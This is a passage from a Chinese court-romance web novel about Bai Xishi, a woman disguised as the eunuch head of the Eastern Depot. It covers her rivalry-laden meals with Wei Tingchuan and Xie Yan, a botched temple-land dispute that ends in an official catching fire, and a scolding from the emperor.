不可欺君,但亦不可直接举荐解衍,这样的用意太过明显,皇帝不会喜欢。 但白惜时知道,皇帝能猜到这折子是解衍替她所写,长此以往,自然会也对解衍有所印象,认可他的能力。 然后,便是需要再等待一个合适的时机。 果然,见白惜时没有说话,皇帝也没有怪罪,只是重新展开那折子,点评了几句,“文章写得确实不错,你亦可跟着学学,以后,总有用到的时候。” 白惜时听完,诧异抬头,看向龙椅当中之人。 皇帝见她这个样子倒是笑了起来,问身边的张茂林,“他是什么表情?” 张茂林则顿时喜笑颜开,拼命给白惜时使眼色,叫他谢恩。 这是皇帝第一次向白惜时暗示,她未来有可能会接任掌印之位。 其实白惜时对司礼监掌印,并没有那么执着,这个位置多被困于宫中,职责重大,并不如现在的东厂厂督自由,她最希望的,其实是张茂林一直是掌印,她亦有人庇护。 但张茂林年纪大了,皇帝亦有让他歇歇的打算,而若是掌印由梁年来接任,等着自己和张茂林的,注定不会是好结局。 所以这个掌印,她确实,需要拿下。 七七八八又想了许多朝堂之事,直到对面的魏廷川叫她,白惜时才反应过来,重新看向对面的男子。 是了,朝堂之事明日再说,今日休沐,便好好感受当下吧。 在魏廷川催促的目光下,白惜时夹起一颗煎包咬了一口,浓郁的汤汁从里头流出,瞬间裹满味蕾。 魏廷川微微向前探身,问她:“味道如何?” 白惜时实话实说,“好吃。” 男子闻言很快笑起来,“我与启舟、晚禾昨日一起去便觉得味道极好,当时就想着,今日一定也要再买些来给你尝尝。” 听到这话,白惜时咀嚼的动作稍顿,继而两腮又重新活动起来。 果然,和她猜想的也差不多,魏廷川离京这么多年,能知道什么美食?必定是有人带他去品尝。 不过白惜时发现,眼下她从世子口中听到刘晚禾的名字已经没有什么难过的情绪,可能那阵痛劲过了,便也就麻木了。 挺好。 此刻解衍正认真剥着一颗鸡蛋,待将蛋壳一点一点褪去之后,他将那一颗白煮蛋很自然的放入白惜时的粥内。 白惜时习以为常,冲他一点头,“嗯,你也吃点。” 解衍冲白惜时笑,笑得又清朗又温和。 目光在二人之间扫了个来回,继而着重又看了解衍一眼,魏廷川突然道:“惜时,你没长手么,吃鸡蛋不会自己剥?” 白惜时:“……?” 她如果没记错的话,她小时候也帮魏廷川剥过鸡蛋壳,他那时候怎么没嫌弃自己没有手? 白惜时正匪夷所思间,解衍这个时候已经接过话头,“是我顺手惯了。” 说着,将剩下一个未剥壳的鸡蛋放入碗内,解衍给魏廷川推了过去,“魏将军是否也要来一个?” 闻言掀起眼皮,魏廷川审视着解衍,解衍同样背靠回椅背,坦然回望,不过魏廷川很快发现,这小子看自己的目光可没有对白惜时的那么良善好说话。 魏廷川隐隐觉得此人,危险。 三人吃完饭,魏廷川又开始想要测试测试白惜时的武艺有没有精进,好不容易休息,白惜时自然不愿又折腾的满身是汗,想要推脱找不到借口,索性祸水东引,让解衍去陪魏廷川比试。 而她自己则泡了一壶清茶,又命人搬了个躺椅坐于树下,打算悠哉悠哉看他们二人切磋。 比试之前,白惜时昧着良心鼓励解衍,“与高手过招,珍惜机会,对你的身手亦会提升非常之大。” 解衍睁着一双清澈的眼,冲白惜时郑重点头。 被这样的眸光望着,白惜时莫名良心一痛,端茶的手都差点不稳。 算了,不过魏廷川应该有分寸,不会真正伤到解衍。 解衍如今虽也算身手不错,但魏廷川毕竟于沙场磨练,二人之间肯定悬殊,白惜时本想着切磋切磋,点到为止,但看着看着,又发觉有些不对。 这两个人是真打,起初还好,但招式过着过着便越打越凶,出手也越来越凌厉,解衍不服输,魏廷川亦没有相让,因而掌掌到肉,拳拳到骨,不知道的还以为这二人之前有什么过节。 怎么回事? 眼看越发不对劲,白惜搁下手中茶盏,从躺椅上起身,正要上前,这个时候魏廷川一个拳风强势袭来,解衍躲闪不及,便这么被狠狠砸在了左侧下颚之上,连退了数步。 一见此情状,白惜时心道不好,快步走过去查看,果然,解衍不仅是下颚,此刻连嘴角都破了,正在往下滴着血。 解衍一抬手,面无表情,用拇指抹去血迹。 想不通何必要弄成这样,白惜时眉头逐渐蹙起,回过头去看魏廷川,“世子,为何出手如此之重?” 魏廷川驻足于原地,看着白惜时对着自己凝眉发问。 他出手重吗?确实是不轻,但解衍隐隐有挑衅之势,并且刚才那一拳,按照魏廷川的判断,解衍也并非就躲不过去。 他是没有躲。 魏廷川觑着解衍,更觑着白惜时此时正拿了块巾帕给解衍按住的嘴角,心中莫名觉得怪异,想要上前一起查看伤势,这个时候白惜时已经让彭管事过来,请他下去先行更衣。 待到男子走后,白惜时才又抬起头,重新对上解衍的视线,继而手上的力道加重,按得解衍轻轻“嘶”了一声。 白惜时皮笑肉不笑,将那块巾帕扔给了解衍,“呵,你也好不到哪去。” 魏廷川既然能看出来解衍的挑衅,白惜时自然也看得出来,都说读书人心眼子多,今日看来,确实如此。 只是解衍这般看不顺眼魏廷川,为什么? 如果说是因为自己之前有意无意让他模仿魏廷川,那他看不顺眼的,或者更该讨厌的,不应该是自己吗? 第37章 第37章 魏廷川在回去之前,又找白惜时单独谈了一次话,在详细询问了她收留解家兄妹的经过后,男子神色微凝。 “解衍此人,能忍常人之不能忍,在我看起来没那么简单。惜时,你对他亦要有所提防,不能轻易被他蒙蔽。” “可能,我只是说可能,他是想要借你之势,夺回那些原来属于他的东西。” 我怕你被利用。 但最后这句话,魏廷川没有说出口,自白惜时上次在成衣店外与他发生争执后,男子如今与他讲话也会注意,不再用说教的口吻。 白惜时听完,没什么反应,显然早就想到过这些。 她看向魏廷川,“世子说的我自会注意,也多谢世子为我筹谋考虑。不过这世上每个人对另一个人好,多少都会有所图,就连父母,可能也会寄希望于孩子长大养老回报,所以解衍对我好,有所图也很正常,我亦不是不能接受。” 不然凭什么呢?凭什么一个男子会对她一个太监百依百顺、无微不至?凭恩情,凭感激,还是凭想要借着她再往上走?这些其实都不重要,只要解衍没有害人之心,她亦可以成全他。 就当这段时日她对他所为的回馈。 魏廷川听到这里,却莫名突兀的问了一句,“他对你很好?” 白惜时想了想,诚实作答,“是,很好。” 此时莫名其妙又想起了白惜时帮解衍按住嘴角的那一幕,魏廷川心中涌起一阵异样,“你当初为什么要收留他?” 为什么呢…… 可能是因为想要弥补当初没有能力救下你的遗憾,亦或者是在那样劣势的处境下,解衍还是愿意出手帮助那位被欺负的妇人,让白惜时觉得,这个人还是有一颗良善之心,所以愿意帮一帮他。 但有些话,如今已经没法说了。 所以白惜时随便捡了个借口道:“看着顺眼,正好他又会写骈文,对我以后进入司礼监也有所帮助。” 在有意掌印之位上,白惜时没有对魏廷川隐瞒。 魏廷川:“可若是你扶他上位之后,他翻脸不认人,掉头就走呢?” 在魏廷川看来,白惜时扶持解衍,应该是寄希望于他入仕之后在朝堂上能多得一份助力,可不排除解衍在得到自己想要的东西后,会与白惜时划清界限。 白惜时听完仍旧一副意料之中的模样,“人都是会走的,大多数情况下,谁也陪不了谁一辈子,我早就做好了这样的准备。” “他愿意帮我自然好,不愿也罢,只要不加害牵制于我,他当他的官,我做我的内宦,亦没什么大不了。” 何况……白惜时看向对面之人,扔控制不住有些叹息的想,你不是也走了么? 可能白惜时所理解的“离开”与魏廷川所说的不尽相同,但白惜时觉得,连魏廷川的离开她如今都能够逐渐接受,解衍的,她同样可以坦然面对。 魏廷川听到这里,有些恍然,似乎觉得有什么应该抓住的东西没有抓住,默了默,他才道:“倒是我狭隘了,没想到惜时看的比我通透。” “世子就别取笑我了。” 然而魏廷川却突然又问了一句,“为什么陪不了一辈子?” 他定定望向白惜时,用两个人近乎都能领会的眼神,去看对面之人,“我觉得可以。” 朋友、兄弟,亦可以一辈子。 “不行的,世子。”白惜时这时候却笑着摇了摇头,半是玩笑半是认真道:“在我这里,不行。” 男女有别。 避嫌,是为了尊重对方,也尊重对方的所爱之人。 魏廷川走后,白惜时回去睡了个回笼觉,起床之后又去书房看了几本解衍推荐的经略文书,如今她既致力于接任司礼监,那么自身的治世谋略均需进一步提升。 不能再像爷爷张茂林那般,因学识所限,往往受制于秉笔。 傍晚的时候,白惜时从书房走出,继而换了身衣衫,按照先前的约定乘坐马车前往魏廷川今晨已经告诉她的酒楼。 楼上的雅室之内,魏廷川邀请的都是一些故友,有文臣亦有武将,这些人看见白惜时推门而入之时,均客气起身,没有带着对内宦的偏见,一人一句“厂督”,倒是十分热情友善。 应该是魏廷川提前与他们打了招呼。 席间几个男子们把酒畅聊,谈古论今,加之无人对白惜时劝酒,白惜时听着也还算有些趣味。 只不过酒过三巡之后,大家聊着聊着,便又绕到了魏廷川即将举办的订亲宴上,一个个跃跃欲试,均提出当日要过去给魏廷川帮忙。 魏廷川举杯谢过几位好友,待搁下酒杯之后,又看了眼身侧的白惜时,可能是怕她身为内宦,谈及此话题会尴尬忧心,男子应了两句,便又将话题转移到了其他的地方去。 白惜时能感受到魏廷川的小心谨慎,有些东西变了就是变了,两个人也没法再像原来那般毫无顾忌,无话不谈。 白惜时甚至有一种她在场,这几人反而不能畅所欲言的感觉,遂之后找了个借口起身,打算到外头去转一转,也让这几个人自在一些。 酒楼之外华灯如昼,亦是一派热闹繁华的景象,白惜时起先漫无目的的瞧着,可是片刻之后,倒是在人群中发现了一幕有意思的景象。 都察院佥都御史单平竟与一女子同行,起先二人隔着些距离,看起来倒像是不相识,只不过趁着人流涌动没人注意,那女子竟大着胆子,用小指去勾单平的手掌。 单平发现女子的举动,一脸紧张,但却没有立即甩开,而像是想要四下确认有没有熟人看见,很快张望了一圈,结果这一张望倒好,直接与白惜时对上了视线。 单平看见白惜时,当下大惊失色,立马第一时间甩开女子的手指,继而做贼心虚一般,一个人先行离开了这块人流聚集之地。 望着单平算得上逃窜的身影,白惜时眨巴眨巴眼睛,没想到出来一趟还真有收获,吃到瓜了。 单平的举动已经说明了一切,刚才那位女子,绝不会是他的妻妾。 单平此人,平日里在朝堂上自诩清流,身居都察院佥都御史一位,更是以严明著称,常教育弹劾官员立身不正,却不想…… 白惜时正兀自消化着方才吃到的新鲜大瓜,这个时候突然有人从身后热情叫了他一声,“厂督!” 应声回过头去,白惜时:“蒋寅?” “是,厂督。”蒋寅见真的是他,高兴走了过来。 “您也是来此地吃饭?凑巧,我们锦衣卫中有个兄弟升迁请客,也在这间酒楼。走,厂督,要不要去我们那桌坐坐?正好指挥使也在。” 白惜时听完一摇头,“你们锦衣卫的事,我就不跟过去凑热闹了。” 在外人眼里,东厂与锦衣卫仍旧不合,她眼下过去自然也不合适。 蒋寅也猜到了他不会去,因而又客套了两句,便又找店家要了两坛好酒,再与白惜时打了声招呼后便重新上了二楼。 待蒋寅走后,白惜时继续在外头吹了一会风,估摸着时间差不多,也转身准备回席,走了几步刚走到一楼的拐角处,刚巧遇见从上头走下来的滕烈。 男子似乎喝了点酒,平常不苟言笑的脸庞上此刻也带着一点微醺与放松,目光则一直落在酒楼的门口,看样子似乎在寻人。 “指挥使。”既然对方有事,白惜时不欲打扰,随意打了招呼,继而一点头,连脚步都未停歇。 滕烈似乎是此刻才看见他,亦没想到白惜时会直接越过自己,一时间有些措手不及,立于原处,看了眼白惜时又看向店外,一副要走不走的模样。 白惜时很快也发现了不对,走出两步后又停下,回过头,“你找我?” 滕烈:“……不是。” 白惜时挥挥手,“那走了。” “……厂督。”不知为何,滕烈突然又从后面叫住他。 白惜时再一次停下脚步,转过身,不明所以地望向男子,“有事?有事直说。” 不必这样吞吞吐吐。 白惜时就这么站在上首盯着滕烈,滕烈被她盯得似乎有些酒气上涌,看起来像在费力思索,又像是在左右取舍,最后,就在白惜时以为他有什么重要任务要与自己商讨的时候,男子问了白惜时一句话。 他问的那句话是——“外头新开了一家书摊,你是否要过去看看?” 白惜时:“……?” “不了。” 白惜时觉得滕烈可能是喝醉了,她懒得跟个酒鬼计较,遂姿态摆得很高,“一本寡嫂可遇不可求,我也不是什么书都看得进去,指挥使费心了。” 滕烈:“……” 白惜时耐着性子,“还有事吗,指挥使?” “……没了。” “好,那再会。” 都说酒前酒后两个模样,现在看来确实如此,冷冽寡言如滕烈,没想到喝完酒还是个热心肠,不过他近来忙着恶补为政之要,实在没什么时间去看那些闲书。 再回到雅室之后,一场小聚已经接近尾声,魏廷川喝的有些多,他刚回京才置办了府邸,又不在京久居下人也没寻几个,此次吃饭亦是自己骑马前来,此刻那几个好友便争相要将他送回府去。 谁知魏廷川大手一挥,笑看向白惜时,“你们先回去吧,惜时送我就行,我们方向正好顺路。” 白惜时听后心情有些复杂,想了想又不好直接拒绝,于是退了一步,让男子的那些朋友将他先行扶下楼,再让小二去通知候在外头的白府车夫,让他将马车赶到门口,做好扶人的准备。 然而当白惜时跨出酒楼外后,意外发现解衍竟乘着府上另外一辆马车已然等在门口,此刻男子正立于车厢旁,身姿即便在夜晚瞧着也很是卓然俊逸,当然了,如果忽略他肿了的半边脸的话。 是的,解衍的脸肿了,刚被打的时候瞧着还没那么严重,现在时间一久,整个左侧下半张脸都微微隆了起来。 男子看见白惜时出来立即露出微笑,抬步便朝着她这边走了过来,然而一笑肌肉必然牵扯伤口,男子的笑突然僵在了一半,继而皱着眉头,用舌头顶了下肿起的地方。 白惜时见状实在没什么好脾气,冷笑一声质问他,“我下午让你冰敷?你敷了吗?” 解衍睁着一双纯良澄澈的眼,“现下冰块不好找,这点小事,属下不想麻烦彭管事。” “冰块不好找?” 白惜时又觑了他一眼,“我看你是根本不想找。” 说罢审视着解衍,白惜时不知道他究竟打的什么主意,但审视着审视着,目光最后还是落在男子隆起的侧脸之上,忍了忍没忍住,白惜时调头往店内走去,“等着!” 很多大的酒楼为了保证食材新鲜,都会在冬天的时候于冰室储存一部分冰块。 待白惜时走后,魏廷川此刻也让开扶着自己的好友,酒气在看到解衍的时候也醒了大半,男子眼中带着冷意,就这么一瞬不瞬地盯着解衍。 解衍倒也不惧,迎难而上,双目带笑看向魏廷川,此刻亦不再见男子有肌肉牵扯伤口的不适之感 这点疼痛对解衍来说,实在……算不得什么。 但厂督看着责难实则关心的眼神,又实在……叫人百看不厌。 方才来的时候,解衍已听车夫说了厂督要送魏将军回府之事,此刻遂上前一步,单手撩开马车车帘。 “厂督明日还有要事,需早些回府歇息,既然将军醉酒,不如就由解某送将军回府。” 第38章 第38章 魏廷川同意了解衍的送行,当着白惜时的面不方便,他正好也有些话要提点告诫解衍。 马车之中,魏廷川眯起一双凤目审视着对面之人,他冷下的眼神向来锋利,让人有一种无处遁形的压迫感,亦是沙场之上磨练下来的狠劲。 只不过当着白惜时和那些旧友的面有所收敛,但此时此刻对着解衍,显然没有这种必要。 “你留在白府,想要什么达到什么目的我暂且可以不过问。但只一点,若是敢对惜时不利,我绝不会姑息。” 解衍听完哂笑一声,摇了摇头,大方回望,“魏将军实在是多虑了。” 厂督这么好,他为何要对他不利? 只这一句之后,解衍没有再多说半个字,亦没有继续解释的打算,男子平静地拿起按在左颊的冰块,放在面前,很是旁若无人的欣赏了欣赏,继而又抬眸看了眼对面的魏廷川,单手重新将冰块按了回去。 “效果确实不错。”他兀自感叹了一句。 男子和男子之间,谁都看的明白,解衍这是明目张胆的挑衅,亦是炫耀。 心头涌上一股莫名的危机之感,魏廷川更加确定,他极不喜欢解衍这个人。 — 翌日清晨,白惜时起得比平时还要早一些,今日上午有件皇帝亲自指派的差事,她得提前去现场盯守。 只不过平日里出了院门就能看见解衍守在外头,今日突然不见,倒是觉得有些不大习惯。 白惜时随口问了句,“解衍呢?” 彭管事跟在后头:“听门房说天还未亮的时候就出门去了。” 闻言眉间轻蹙,出去那么早,做什么去了? 这个问题没有困扰白惜时多久,因为没过一会,解衍便已经风尘仆仆地赶了回来,手上还拎着一个和魏廷川昨日一模一样的油纸包。 干什么去了,一目了然。 排队买包子去了! 看着解衍走到自己面前,不声不响将油纸包打开,里头还冒着热气,白惜时再一掀眼皮,瞧见男子仍然泛着青紫的左颊,以及额头鬓角沁出的薄汗…… 拿着筷子的手顿了顿,她虽暂时未说什么,但其实,并不希望解衍如此。 白惜时记起昨日与魏廷川的对话,世子有一句话说的对,解衍介入她的生活,太多了。 迟早是要离开的,没必要这样。 不然以后,反而不习惯。 吃完早饭,白惜时一行赶往了今日的目的地。皇帝笃信佛教,打算在京中新修一间寺庙。前不久请了风水大师看过,地点就定在三山塔。 但三山塔附近并全非全为皇家所有,范围内还涉及几位朝臣的庄子,不过普天之下莫非王土,那些精明的臣子得知后,自然愿意主动让出。不过一个庄子,却可以卖一个面子给皇家,实在算不得赔本买卖。 皇帝为了彰显自己仁德,也按庄子大小全给了相应的补偿,本来一件皆大欢喜的事,但架不住当中就有那么一个不配合之人。 此人乃三朝元老李士达之子,虽官职不高,也没有继承到父亲的聪明才智,但为人十分执拗,因他那庄子是父亲生前常居之所,因而不论朝廷怎么劝说,他就是不同意让出来修建佛寺。 今日白惜时过去,就是盯着这李开仁,避免出什么乱子。 不出所料,白惜时到的时候,那李开仁已经站在自家庄子的屋顶,手提一桶灯油并一个火折子,扬言若是敢收了他家庄子,他就将那桶灯油点燃,与大家同归于尽。 东厂办事也是要看人的,有的人可以采取强硬手段,但有的人,不行。 这李开仁明显是个死脑筋,若真将他惹急了,他很有可能干出自焚这种傻事。而李开仁若是死了,问题大吗? 在其他的事上,问题不大,但若是在修建寺庙这件事上,问题便大了。 一来皇帝是个注重名声之人,为修佛寺逼死老臣之子,于名声有损。二来佛寺尚未修建便出了血光之灾,实在也算不得吉利。 此刻眼看那李开仁已经将一桶灯油悉数往自己身上倒去,白惜时抬手拦下了意欲上前的官兵,扬起一个还算和善的笑,走到屋檐下。 “李大人莫要冲动,你可能会错了意,我等今日前来不是收庄子,而是特领了皇命,想与李大人您谈一谈。” 李开仁:“要谈我也不和你这内宦谈,你算个什么东西?哼,我父亲乃三朝重臣,你要谈便叫个够格的过来。” 此话一出,下头的人都跟着倒吸一口凉气,此人真是活腻歪了,敢骂东厂厂督?要知道,虽他父亲确实厉害,但如今已经离世,李开仁混到现在也只还是个五品京官,可见资质之差。 而等此事的风头过去之后,东厂厂督若是想要整治一个五品小官,太容易了。 思及此,大家也都觑着白惜时的脸色,生怕他动怒。 但白惜时怒吗? 不怒。 很明显此人头脑不好,跟他计较什么? 若是有点脑子的,也不会此刻站在庄子上头跟皇帝叫板。 知他是个极为好面子之人,白惜时也就给足了他面子,“好,李大人想要与谁谈?告诉咱家,咱家这就着人替你去请。” 李开仁果然很是受用,还真就在上头思索了思索,继而冲着下头的白惜时喊道:“我要内阁的人过来。” 口气倒不小。 “好,李大人稍安勿躁,咱家去去就回。” 白惜时已经听出来了,李开仁未必不肯让出这庄子,而是感觉到朝廷不够重视他,应该是父亲去世后这种极速的落差感,让他心理不能平衡。 以前大家冲着他父亲的面对他吹捧有加,如今不再有人捧着,自然受不住这种前后对比,刚巧借着此事发挥出来。 既然是要重视,那么此事便好解决,内阁之人虽不说人人都会给白惜时面子,但若只是请来一个替皇帝做那说客的,倒不是难事。 李开仁的情绪已经明显被安抚了下来,白惜时嘱咐千闵、元盛看好现场,他带着解衍正欲去请人,本来一切进行的顺顺利利,但出事就出事在,来了个不速之客——俞昂。 此为皇家寺庙,禁军多少也有参与保障,俞昂听风赶到,两方马车交汇,白惜时一掀车帘察觉不对,当得知是俞昂赶到便立即命车夫调头往回,但还是,晚了一步…… 此时见白惜时还没有把人弄下来,俞昂不顾千闵、元盛阻拦,强硬闯上前去吆五喝六就要禁军上去拿人,那上头的李开仁一看这架势,瞬间威胁般点燃了手中的火折子。 俞昂仍旧没当回事,认为李开仁不过是做做样子,并不敢真正点火自焚,而李开仁也确实是迟疑了……但好巧不巧,此刻恰吹来了一阵不大不小的东南风。 那风直接将李开仁手中的火星子吹开,几乎只是在一瞬间,明火遇见灯油,房顶上之人就变成了一个火球。 变故发生的太过突然,白惜时一见不好,跳下马车疾速向前跑去,李开仁登上去的地方较高,摔下来很可能有性命之忧。 而李开仁此刻被大火灼得生疼,整个人呲哇乱叫想要叫下头的人救他,慌乱之中奋力往下爬去,结果一个重心不稳,他一脚踩空便猝不及防落了下来。 元盛、千闵明白事态之严重,不顾大火冲过去垫了一手,而白惜时此前为防意外已经让人备下棉被和水源,此刻正好用上,解衍抢先一步,第一时间将棉被浇上水便往李开仁的身上盖了过去。 一会功夫之后,李开仁身上的大火被合力扑灭,但,生死未明。 白惜时强按下心头那阵怒火,看都没看俞昂一眼,继而扭头吩咐后头的官兵,“大夫,叫大夫过来!” 李开仁的命不知能否保住,即便现在保下来,烧伤面积过大很可能诱发感染,依旧时时都需保持警惕。 眼下能做的,只有尽力救治。 待处置完李开仁之事后,白惜时心情颇为沉重,这件差事处置的实在不够漂亮,吐出口浊气,她动身往宫中行去。 至于俞昂,白惜时没再去管,事发之后他已吓得魂不附体,早不知躲到哪里避风头去了。 皇帝的政殿之内,不知是不是贵妃已经听闻俞昂闯下的祸端,当白惜时赶到之时,俞贵妃恰巧带着补品从外头走了进来,二人相遇,白惜时恭敬行礼,贵妃意味深长地看了她一眼,随即便笑着叫白惜时起身。 二人一先一后跨入殿内,俞贵妃端着那一盏补汤,送至了皇帝的桌案之前。 皇帝虽此刻见到贵妃,隐忍下了怒气,见她借故留下亦没有驱赶,只是一身威严坐于上首,晦暗着一张脸问白惜时,“怎么回事?” 此刻张茂林在皇帝身后,不停的冲白惜时使眼色,俞贵妃亦有意无意地看向她。 将几人的动态尽收眼底,白惜时心头又怎会不了然?一低头,越过了俞昂之事,白惜时直接认错道:“是属下失职,办事不力,还请圣上责罚!” 话音刚落,“啪”的一声,那一盏贵妃刚送来的补品便在白惜时脚边开了花,打碎的杯盏碎了一地,那冒着热气的补汤也大半溅在了白惜时的衣袍、官靴之上。 白惜时没有躲,亦没有吭声。 她的确有疏忽失察之责。 皇帝发怒,所有人都噤若寒蝉,贵妃见此情状也吓得不轻、矮身告退,白惜时自是被狠狠斥责了一通,待再出来的时候,已经是一个时辰之后。 索性李开仁并没有当场丧命,多少留了些余地。 皇帝虽骂得凶,到了最后,却也只是罚了白惜时半年的俸禄,实在算得上是网开一面。 皇宫里这种事情传得很快,白惜时出宫的时候碰上梁年,梁年瞧着他怪笑一声,继而趾高气昂从白惜时面前走了过去。 心中还记挂着李开仁的伤势,白惜时亦懒得去计较梁年此刻的幸灾乐祸,只不过走出去没多远,又被掌印张茂林叫了回去。 张茂林此刻也从皇帝的政殿内伺候完出来,看着神色凝重的白惜时,拍了拍他的肩。 “小石头,你今日之事做的对。这差事你供出俞昂也是罚,保下俞昂也是罚,不如就做一个顺水人情,贵妃娘娘自然也会承你的情。” “你以为皇帝不知道是怎么回事吗?连我都知道,他能不明白?他摔了贵妃的汤盏,就是警示,不然你也没有只罚半年俸禄这么简单。” 白惜时听完,仍旧眉头未展,“我只是担心长此以往,恐助长俞昂的不良气焰。” 张茂林听完,突然笑了一声,“小石头,你先站到该站的位置上,再去考虑日后之事。人不可能不向现实低头,若是连入局的机会都没有,再有抱负都是空。” “爷爷知道你有你的坚持,但人啊,得先上桌,才有机会去决定如何吃饭,记住了吗?” 第39章 第39章 皇宫门口,解衍正等在马车旁,手中拿着一罐药膏及干净的绵布,目光始终锁定于出口之处。 已经接近两个时辰了,男子眉头微蹙,如果他此刻不是待罪之身,亦可以堂堂正正进宫,立于厂督左右,掌握事态进展变化,再一起商议对策。 而不是像此刻这般,只能等。 解衍一直告诫自己不要心急,徐徐图之,但经此一事,他生出迫切想要重回朝堂之心。 等待期间,有几位往日的旧识从解衍身边经过,有的视而不见,有的也会与解衍打招呼,问他近况如何,解衍虽是一贯的从容,但那些人与他说了两句之后,就会发现男子的心不在焉。 变故发生了大半年,解衍仿佛也已经迅速褪去青涩,如一把藏锋于鞘的利剑,沉稳坚韧,身量也更加劲瘦挺拔,但眼下,他却难得在脸上泄露了一丝情绪——担忧。 直到看见厚重的宫门下,一个再熟悉不过的身影从红墙黄瓦中走出,男子的眉目才舒展开来,低头又看了看手中的药罐,迈步走了过去。 观察着白惜时的脸色,解衍问道:“厂督认下了?” “嗯。” “有事吗?” 白惜时看了眼男子,一摇头,“罚俸半年。” 闻言点头,解衍掀开车帘,让白惜时先行上车,看来皇帝心中有数,并没有一味迁怒厂督。 待白惜时坐定,解衍跟着走了上来,只不过这一回他没有坐在惯常的位置之上,而是离白惜时较近,坐在了半臂之隔的侧面。 白惜时不明所以,转眸望他。 “厂督在方才救人的时候手背也受了伤,属下去取了些药膏过来。” 说着,解衍将手中的瓷瓶转了过来,继而向白惜时一伸手,那意思很明显,是要让白惜时将手交给他,他来帮她上药。 跟随着男子的视线,白惜时才发现自己的手上确实有几处细小的伤口,方才事多繁杂根本没时间注意,这个时候经他提醒,才觉出了几分不明显的疼痛。 他还是那么细心。 白惜时看着解衍朝自己伸来的手,骨节分明、修长干净,这原先是一双握笔的手,现在,亦可以用来握剑。 文武双全,很好。 但,二人握着手上药这样的举动在白惜时看来,有些过于亲密了。 盯着那只手看了一会,白惜时莫名又想起今早那冒着热气的一笼煎包,继而一抬臂,绕过那只手,取回了解衍方才搁在身侧的瓷瓶,“我自己来。” 男子的手停在半空。 白惜时装作没看见,打开瓶塞,一边自己涂抹着药膏,一边与解衍又说了些朝堂之事。 待涂抹完毕,她将瓶子还了回去。男子捏着手中还泛着温热的瓷瓶,眼睫低垂,待到再抬起眼,他已经重新起身,坐回了马车当中原本属于他的位置。 没有再离白惜时,那样近。 解衍何其聪明,白惜时一个简单的举动,他就已经领会到了她的未尽之意。 马车之内,除了车轱辘的转动之声,一时间陷入了长久的沉默,在这长久的沉默里,白惜时又看了解衍一眼。 是,现在她与解衍相处的是很默契,但魏廷川说的对,解衍不是她东厂下面一个随意使唤的小太监,不可能永远屈居人下。 而习惯是一件很可怕的东西,二人形影不离带来的结果,是她连早上出门发现人不在院子外站着,都会觉得有些不习惯。 可解衍终究也是要离开的。 等他离开之后呢?自己又会不会觉得难以适应? 有了魏廷川之鉴,她合该更加警醒。 — 李开仁的事情后续被妥善解决,虽他人还处于昏迷之中,但在皇帝的恩准下,白惜时与吏部侍郎一起去了趟李府之后,李府之人很快转变了态度,表示不再追究。 本来李府各房心就不齐,府中很多人也都不赞同李开仁的做法,担心如此冒失阻拦,会遭到皇帝厌弃。 世家大族,利益第一,李开仁的仕途一眼到头,李府也明眼可见的走上了下坡路,但族中的孙辈里倒有一个还算出色,隐隐能看出几分他祖父的风采。 此人年纪尚轻,正在外派做县令,经此一事,吏部特许将他调任回京,于大理寺任职。 虽是平调,但职位不同,权力前景亦不同,往后自是不可同日而语。 李府之人对这个结果很满意,连那庄子也当场愿意相让出来。 待处置完李开仁之事,白惜时稍稍松下口气,眼看接近晌午,皇帝亦有午休的习惯,她便吩咐车夫先行回府,待吃完饭后再去宫中复命。 府中之人见白惜时回来均很高兴,孟姑姑忙吩咐后厨多备些菜,只不在途径前院之时,遇见刚好也从外头办事回来的解衍。 男子显然没想到会在这个时候于府内碰上白惜时,脚步一顿,低头恭敬道:“厂督。” 啧,看见人怎么都不知道笑了。 白惜时扫了他一眼,亦没有做停留,只“嗯”了一声,转身便进了用饭的厅堂。 解衍迟疑片刻,没有立即跟上去。 彭管事路过招呼,“解公子,站在这里做什么?厂督都进去了,走啊。” 过了一会,似是没有等到白惜时的召唤,只听男子低醇的声音从外头传来,“不了,我还有事,你们先吃。” 闻言抬眼,目光掠过院外,只见身材颀长的男子此刻已经转身,松玉色的衣袍被风吹起,很快,消失在了影壁墙之后。 收回目光,兀自夹了一筷平菇送入口中,这样很好,白惜时如是告诉自己。 她在东厂其实还养了一只小狗,名字叫黄麻,黄麻小的时候可可爱爱,等长大了长开了,就变得实在是有些抱歉,但分明都长得这么抱歉了,它还是像小时候一样喜欢冲白惜时撒娇耍赖。 白惜时偶尔事务繁杂的时候嫌它烦,它就会露出一副委屈受伤你不要我了的失落表情。 不知道为什么,白惜时突然就觉得解衍刚才那离开的背影其实也不是很像魏廷川,反而实有点像失落的黄麻。 明明男子方才面无表情,俊逸依旧,情绪看上去也算得上平稳,但她就是觉得解衍莫名像那只小丑狗。 唉,奇怪! 下午进宫的时候,白惜时尚未走到勤政殿,突然一个人影贸然冲出,拦住了他的去路,那人正一脸火冒三丈地望向自己。 单平面色怒红,步步紧逼,“白惜时,你这卑鄙小人!我若身败名裂,对你又能有什么好处?” 白惜时停下脚步,双眼微眯,不动声色,“单大人何事如此激动?” “你何必明知故问?!” 单平望了眼左右,确认四下无人,“白惜时,东厂如今管天管地,竟连臣子的家事都要管一管吗?是不是等了几天没等到我给你送封口银子,你就急了记恨上了?” 听完已经猜到单平所说,应是上次于酒楼外看到的他与女子牵手之事,但白惜时近来忙得脚不沾地,哪有时间管这种闲事? 也就是当下吃惊片刻,事后他连查都未让人去查过。 东厂确实还未闲到这种地步! 不过眼下看来,单平与那女子之事应是已然暴露,所以他才会狗急跳墙,第一时间便怀疑到了自己头上来。 近日诸事烦乱纠杂在一起,白惜时本就觉得略微烦心,当下正好有个撞上枪口的,她自是不会给这人什么好脸色看。 “单平,你记住,咱家即便是小人,你亦不是什么君子!眼下有功夫同我在此处叫嚣,不如想好了如何去收拾你的烂摊子!” 白惜时神色不虞,“我若是想整治你,自有一百种办法,犯不着用一个女人当作筹码!” 单平听完,惊疑不定。一会敛目思索,一会又似乎有些后悔方才情急之下的冒失,缓了缓,才面露狐疑之色,“真不是你?” 白惜时懒得理会:“自便。” 说罢没再分给单平眼神,白惜时越过他往勤政殿走去,不过走了几步后还是召来千闵,让他去查一查到底是怎么回事。 皇帝听完白惜时的禀报,对李开仁的后续处置结果亦还算满意,如今当务之急便是继续保住李开仁的性命,不要伤了那些老臣的心,也不要给任何人借题发挥的可能。 佛寺既可按照原定计划修建起来,皇帝对白惜时的态度缓和了许多,在又交待给了白惜时一些任务之后,便挥了挥手叫他自去忙。 